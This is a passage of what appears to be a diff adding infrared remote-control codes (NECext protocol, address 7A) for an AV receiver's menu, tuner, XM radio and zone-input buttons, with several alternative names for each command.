00 00 00 +# +name: GUI:_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: GUI:_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: MENU:_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: SETUP_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: MENU:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: MZ:_SET_CURS_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: SETUP_MENU_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: DIRECTION_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: CURSER_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: SET_MENU_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: SET_MENU:_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: MENU_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: SET_MENU_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: SET_MENU_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: GUI:_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: GUI:_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: MENU:_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: SETUP_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: MENU:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: MZ:_SET_CURS_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9F 00 00 00 +# +name: GUI:_TOP_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A0 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A0 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A0 00 00 00 +# +name: MZ:_MENU_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A0 00 00 00 +# +name: GUI:_TOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A0 00 00 00 +# +name: MZ:_MENU_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A0 00 00 00 +# +name: MZ:_MENU_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A0 00 00 00 +# +name: GUI:_EXIT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A1 00 00 00 +# +name: MENU:_EXIT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A1 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A1 00 00 00 +# +name: MZ:_MENU_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A1 00 00 00 +# +name: GUI:_EXIT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A1 00 00 00 +# +name: MZ:_MENU_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A1 00 00 00 +# +name: MZ:_MENU_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A1 00 00 00 +# +name: FREQ/TEXT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A4 00 00 00 +# +name: TUNER_HD_INFO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A4 00 00 00 +# +name: TUNER_INFO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A4 00 00 00 +# +name: EON_DATA +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A5 00 00 00 +# +name: TUNER_EON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A5 00 00 00 +# +name: TUNER_HD_EON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A5 00 00 00 +# +name: PARTY_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A6 00 00 00 +# +name: TUNER_PARTY_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A6 00 00 00 +# +name: TUNER_HD_PRG_SEL_DWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A6 00 00 00 +# +name: TUNER_PTY_SEEK_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A6 00 00 00 +# +name: TUNER_PROG_SEL_DWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A6 00 00 00 +# +name: PARTY_START +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A7 00 00 00 +# +name: TUNER_PARTY_START +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A7 00 00 00 +# +name: TUNER_HD_PRG_SEL_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A7 00 00 00 +# +name: TUNER_PTY_SEEK_START +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A7 00 00 00 +# +name: TUNER_PROG_SEL_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A7 00 00 00 +# +name: SYS_MEMORY_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A8 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A8 00 00 00 +# +name: MZ:_INP_MODE_DIGTL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A9 00 00 00 +# +name: SYS_MEMORY_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A9 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: A9 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: MZ:_INP_MODE_ANLOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: MZ:_AUDIO_ANALOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: MENU:_RETURN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: MENU_CURSORRETURN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: MENU:_RETURN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: SETUP_RTRN/SUBMEN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: MAIN:_INP_MODE_ANLOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: SET_MENU_RETURN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: MENU_RETURN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: MZ:_SET_CURS_RETUR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: SUB_MENU_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: SUB_MENU_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AA 00 00 00 +# +name: TUNER:_SEARCH_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AB 00 00 00 +# +name: TUNER:_SEARCH_MOD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AB 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AB 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AB 00 00 00 +# +name: TUNER_SEARCH_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AB 00 00 00 +# +name: TUN_SRCH_MODE_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AB 00 00 00 +# +name: TUNER_SRCH_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AB 00 00 00 +# +name: TUNER_CAT_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: TUNER:_PRESET_PG_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: TUNER_PRESET_PG_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: TUNER:_PRESET_PG_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: CLASS_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: NAV_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: TUNER:_A-E_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: TUNER_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: TUN_A-B/CAT_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: TUNER:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: TUNER:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AC 00 00 00 +# +name: TUNER_HD_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AD 00 00 00 +# +name: TUN_ENTER_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AD 00 00 00 +# +name: TUNER_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AD 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AE 00 00 00 +# +name: TUNER:_BAND_AM/FM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AE 00 00 00 +# +name: TUNER_BAND_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AE 00 00 00 +# +name: TUNER:_BAND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AE 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AE 00 00 00 +# +name: TUNER:_BAND_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AE 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AF 00 00 00 +# +name: TUNER_MEMORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AF 00 00 00 +# +name: TUNER:_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AF 00 00 00 +# +name: TUNER:_MEMORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AF 00 00 00 +# +name: TUNER:_MEMORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: AF 00 00 00 +# +name: TUNER_HD_DISPLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B0 00 00 00 +# +name: TUN_DISPLAY_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B0 00 00 00 +# +name: TUNER_DISPLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B0 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B1 00 00 00 +# +name: TUNER:_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B1 00 00 00 +# +name: TUNER_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B1 00 00 00 +# +name: TUNER_NUM_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B1 00 00 00 +# +name: TUN_9_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B1 00 00 00 +# +name: TUNER:_9 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B1 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B2 00 00 00 +# +name: TUNER:_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B2 00 00 00 +# +name: TUNER_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B2 00 00 00 +# +name: TUNER_NUM_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B2 00 00 00 +# +name: TUN_0_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B2 00 00 00 +# +name: TUNER:_0 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B2 00 00 00 +# +name: ENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B3 00 00 00 +# +name: TUNER:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B3 00 00 00 +# +name: TUNER_ENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B3 00 00 00 +# +name: TUNER_NUM_ENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B3 00 00 00 +# +name: TUN_ENT_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B3 00 00 00 +# +name: TUNER:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B3 00 00 00 +# +name: INPUT_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: MZ:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: MZ_IN:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: INP_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: XM_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: INPUT:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: TUN_BAND_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: MZ:_INP_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: MZ_INP:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: MZ_INP:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B4 00 00 00 +# +name: XM_ALL_CH_SRCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: XM:_SEARCH_ALL_CH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: XM_SRCH_MODE_ALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: XM:_SEARCH_ALL_CH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: SEARCH_ALL_CH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: XM:_ALL_CHANNEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: XM:_ALL_CH_SEARCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: XM_MODE_ALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: XM_ALL_CH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: XM:_ALL_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: XM:_ALL_CHANNEL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B5 00 00 00 +# +name: XM_CAT._SRCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: XM:_SEARCH_CATEG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: XM_SRCH_MODE_CAT. +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: XM:_SEARCH_CATEGORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: SEARCH_CATEGORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: XM:_CATEGORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: XM:_CATAGORY_SRCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: XM_MODE_CATEGORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: XM_CATEGORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: XM:_CATEGORY_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: XM:_CATEGORY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B6 00 00 00 +# +name: XM_PRESET_SRCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: XM:_SEARCH_PRESET +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: XM_SRCH_MODE_PRES +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: XM:_SEARCH_PRESET +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: SEARCH_PRESET +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: XM:_PRESET +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: XM:_PRESET_SRCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: XM_MODE_PRESET +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: XM_PRESET +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: XM:_PRESET_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: XM:_PRESET +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B7 00 00 00 +# +name: Z2_INPUT_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: Z2:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: IN_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: Z2_IN_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: Z2_IN:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: INP_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: ZONE_2_XM_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: ZONE2_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: ZONE_2:_INPUT_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: ZONE_2_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: Z2:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: Z2:_INP_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: Z2_INP:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: Z2_INP:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B8 00 00 00 +# +name: IN_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B9 00 00 00 +# +name: Z3_IN_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B9 00 00 00 +# +name: Z3_IN:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B9 00 00 00 +# +name: Z3:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B9 00 00 00 +# +name: INP_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B9 00 00 00 +# +name: Z3:_INP_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B9 00 00 00 +# +name: Z3_INP:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B9 00 00 00 +# +name: Z3_INP:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: B9 00 00 00 +# +name: XM_PRESET_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BA 00 00 00 +# +name: XM:_PRESET_PG_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BA 00 00 00 +# +name: XM_PRESET_PAGE_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BA 00 00 00 +# +name: XM:_PRESET_PG_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BA 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BA 00 00 00 +# +name: ZONE_2_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BA 00 00 00 +# +name: XM:_CATAGORY_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BA 00 00 00 +# +name: XM:_PRESET_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BA 00 00 00 +# +name: XM:_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BA 00 00 00 +# +name: XM:_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BA 00 00 00 +# +name: XM_PRESET_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BB 00 00 00 +# +name: XM:_PRESET_PG_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BB 00 00 00 +# +name: XM_PRESET_PAGE_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BB 00 00 00 +# +name: XM:_PRESET_PG_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BB 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BB 00 00 00 +# +name: XM:_CATAGORY_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BB 00 00 00 +# +name: XM:_PRESET_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BB 00 00 00 +# +name: XM:_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BB 00 00 00 +# +name: XM:_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BB 00 00 00 +# +name: XM_PRESET_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BC 00 00 00 +# +name: XM:_PRESET_PG_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BC 00 00 00 +# +name: XM_PRESET_PAGE_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BC 00 00 00 +# +name: XM:_PRESET_PG_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BC 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BC 00 00 00 +# +name: XM:_CATAGORY_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BC 00 00 00 +# +name: XM:_PRESET_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BC 00 00 00 +# +name: XM:_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BC 00 00 00 +# +name: TUNER:_FM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BC 00 00 00 +# +name: XM:_C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BC 00 00 00 +# +name: XM_PRESET_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BD 00 00 00 +# +name: XM:_PRESET_PG_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BD 00 00 00 +# +name: XM_PRESET_PAGE_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BD 00 00 00 +# +name: XM:_PRESET_PG_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BD 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BD 00 00 00 +# +name: XM:_CATAGORY_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BD 00 00 00 +# +name: XM:_PRESET_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BD 00 00 00 +# +name: XM:_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BD 00 00 00 +# +name: TUNER:_AM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BD 00 00 00 +# +name: XM:_D +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BD 00 00 00 +# +name: XM_PRESET_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BE 00 00 00 +# +name: XM:_PRESET_PG_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BE 00 00 00 +# +name: XM_PRESET_PAGE_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BE 00 00 00 +# +name: XM:_PRESET_PG_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BE 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BE 00 00 00 +# +name: XM:_CATAGORY_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BE 00 00 00 +# +name: XM:_PRESET_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BE 00 00 00 +# +name: XM:_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BE 00 00 00 +# +name: XM:_E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BE 00 00 00 +# +name: XM_PRESET/NUM_ENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BF 00 00 00 +# +name: XM:_NUMERIC_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BF 00 00 00 +# +name: XM_NUM_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BF 00 00 00 +# +name: XM:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BF 00 00 00 +# +name: ENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BF 00 00 00 +# +name: XM_ENT_NUM_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BF 00 00 00 +# +name: XM_ENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BF 00 00 00 +# +name: XM_SETUP:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: BF 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: INPUT:_CB-SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: INPUT:_CBL-SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: INPUT:_CBL_/_SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: C0 00 00 00 +# +name: INPUT_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 